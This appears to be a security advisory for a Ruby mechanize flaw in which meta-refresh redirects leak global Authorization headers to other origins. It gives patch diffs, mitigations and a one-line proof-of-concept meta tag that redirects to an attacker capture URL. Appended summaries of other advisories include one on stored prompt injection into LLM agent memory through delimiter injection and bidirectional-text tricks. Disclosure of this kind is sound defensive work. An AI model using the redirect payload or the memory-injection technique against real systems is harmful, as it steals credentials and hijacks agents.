Oct 9, 2026·5 min read·20 visits
Ruby Mechanize prior to version 2.14.1 fails to enforce origin trust boundaries when executing HTML meta-refreshes, allowing third-party hosts to exfiltrate globally configured request headers.
An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.
CVE-2026-107399 identifies an information disclosure vulnerability in the Ruby mechanize library, which is commonly used to automate programmatic interactions with websites. When the Mechanize#follow_meta_refresh configuration option is enabled, the agent fails to establish or enforce an origin trust boundary when handling HTML-based <meta http-equiv="refresh" ...> redirects (meta refreshes). This structural flaw permits cross-origin exfiltration of credentials to unvalidated external targets.\n\nUnder vulnerable configurations, if an automated crawl or scraping process encounters a webpage containing a meta-refresh tag pointing to an external origin, the globally configured headers set via Mechanize#request_headers= are unconditionally re-applied and transmitted to the destination server. These headers often contain highly sensitive credentials, such as HTTP Authorization Bearer tokens, API keys, or custom cookies. An adversary hosting a malicious website can capture these credentials and compromise the client's session state on trusted third-party applications.\n\nThe vulnerability arises due to structural gaps in the legacy redirect architecture of the library. While HTTP 3xx-level redirects implemented strict domain validation to strip cross-origin headers, meta-refresh elements were parsed and executed via an independent code path that completely lacked these protections.
The root cause of this vulnerability lies in the separation of the redirect processing paths inside the Mechanize::HTTP::Agent class. Standard HTTP-level redirects (such as 301, 302, 303, and 307 responses) are evaluated against origin boundaries. When the host of an HTTP redirect target changes, the library drops sensitive headers like Authorization and custom cookies to prevent cross-origin disclosure.\n\nIn contrast, HTML-level meta-refreshes are parsed from the response body of a document. When follow_meta_refresh is configured to true, Mechanize extracts target redirection URLs from parsed HTML <meta> elements. The original implementation of Mechanize::HTTP::Agent#response_follow_meta_refresh fetched this target URL without executing any origin-boundary verification.\n\nBecause global agent configuration headers defined in @request_headers were re-applied dynamically on every invocation of #fetch, the subsequent HTTP request to the third-party destination inherited the sensitive headers in full. This design introduced secondary attack vectors where dropped credentials could be re-injected on subsequent hops, such as during multi-hop redirects, HTTP 401 Authorization Retries, or double meta-refreshes.
The remediation was addressed in a sequence of patches committed to the mechanize codebase and released in version 2.14.1. In the first patch (commit 84c74df87d15f5d119df268ba6aa79bc1e16a2c3), the agent was modified to calculate whether a meta-refresh crosses origin boundaries using the existing crosses_origin? utility helper:\n\ndiff\n@@ -981,7 +981,8 @@ def response_follow_meta_refresh response, uri, page, redirects\n sleep delay\n @history.push(page, page.uri)\n fetch new_url, :get, {}, [],\n- Mechanize::Page.new, redirects + 1\n+ Mechanize::Page.new, redirects + 1,\n+ crosses_origin?(uri, new_url)\n\n\nTo prevent the re-injection of credentials across redirect hops (where global request headers were previously re-merged unconditionally), commit 02a1235842d6eda8d4a5a3d8f13aba2cecf52e4f refactored the header application lifecycle. Global headers are now merged into the transaction-specific header hash only once at the beginning of the transaction:\n\nruby\n# Merged only once at the start of the operation\nheaders = @request_headers.merge headers if apply_request_headers\n\n\nDuring subsequent meta-refreshes, the headers are statefully checked, and sensitive headers are deleted if crosses_origin? evaluates to true:\n\nruby\nheaders = headers.dup\nheaders.delete_if { |h, _| drop_after_redirect? h, crosses_origin?(uri, new_url) }\n\nfetch new_url, :get, headers, [],\n Mechanize::Page.new, redirects + 1, false\n\n\nFinally, commit 6ce26d2a6a28248efa75a73b11c2d8c1f6a41b2e normalized header keys to enforce case-insensitive matching and canonicalization, preventing symbol-based headers (e.g., :authorization) from bypassing the drop checks.
To exploit this vulnerability, an attacker must host a malicious webpage that is visited by an automated Mechanize-based client. The client must have follow_meta_refresh enabled and must configure sensitive global headers. The attacker does not need authentication to trigger the exploit.\n\nWhen the client requests the attacker's page, the server returns an HTML response containing a meta-refresh redirect directive:\n\nhtml\n<meta http-equiv=\"refresh\" content=\"0;url=https://attacker-controlled-site.com/capture\">\n\n\nUpon receiving this document, the Mechanize client parses the HTML, identifies the redirect instruction, and initiates a secondary GET request to the attacker-controlled origin. Prior to the patch, the client would preserve and transmit all globally set headers (including Bearer tokens, cookies, and API keys) to the external destination.\n\nmermaid\ngraph LR\n client[\"Mechanize Client\"] -->|\"1. Request to Trusted Site\"| trusted[\"trusted.example.com\"]\n trusted -->|\"2. Open Redirect / Malicious Page\"| client\n client -->|\"3. Meta-Refresh to External Origin\"| attacker[\"attacker.example.com\"]\n client -.->|\"4. Exfiltrates Authorization Header\"| attacker\n\n\nThe attacker's web server logs all incoming request headers, successfully harvesting the authentication material. This exfiltration process occurs fully automatically without requiring user interaction.
The CVSS v3.1 base score for this vulnerability is 6.8 (Medium severity), with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N. Because the scope is changed (S:C), the credentials scoped for a secure domain can transition to an unauthorized domain.\n\nThe primary impact is the complete loss of confidentiality for session identifiers and authorization headers. Since Mechanize is widely utilized in back-end background tasks, web scrapers, and automated API crawlers, compromised tokens often hold elevated, administrative, or service-to-service access levels.\n\nThere is no direct impact on system integrity or availability, as the vulnerability does not support arbitrary code execution or service disruption on the host running the crawler. However, the exfiltrated session credentials can be used to perform downstream unauthorized actions against authenticated services.
The definitive mitigation is to upgrade the mechanize library to version 2.14.1 or higher. This release integrates the secure origin-boundary checks, stateful credential tracking, and case-insensitive header normalization.\n\nIf upgrading is not immediately possible, developers can work around the vulnerability by disabling meta-refresh following. This feature is disabled by default in the library, but if it has been explicitly enabled, it should be set to false:\n\nruby\nagent = Mechanize.new\nagent.follow_meta_refresh = false\n\n\nFurthermore, developers should avoid setting sensitive authentication tokens globally via agent.request_headers=. Instead, pass authentication headers explicitly as part of individual, target-validated requests:\n\nruby\n# Pass headers on a per-request basis to limit exposure\nagent.get('https://trusted.example.com/api', {}, nil, { 'Authorization' => 'Bearer token' })\n
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mechanize sparklemotion | < 2.14.1 | 2.14.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-200 |
| Attack Vector | Network |
| CVSS Score | 6.8 |
| Exploit Status | poc |
| KEV Status | Not Listed |
| Impact | High Confidentiality Loss |
| Affected Component | Mechanize::HTTP::Agent |
The product exposes sensitive information to an actor that is not authorized to have access to that information.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.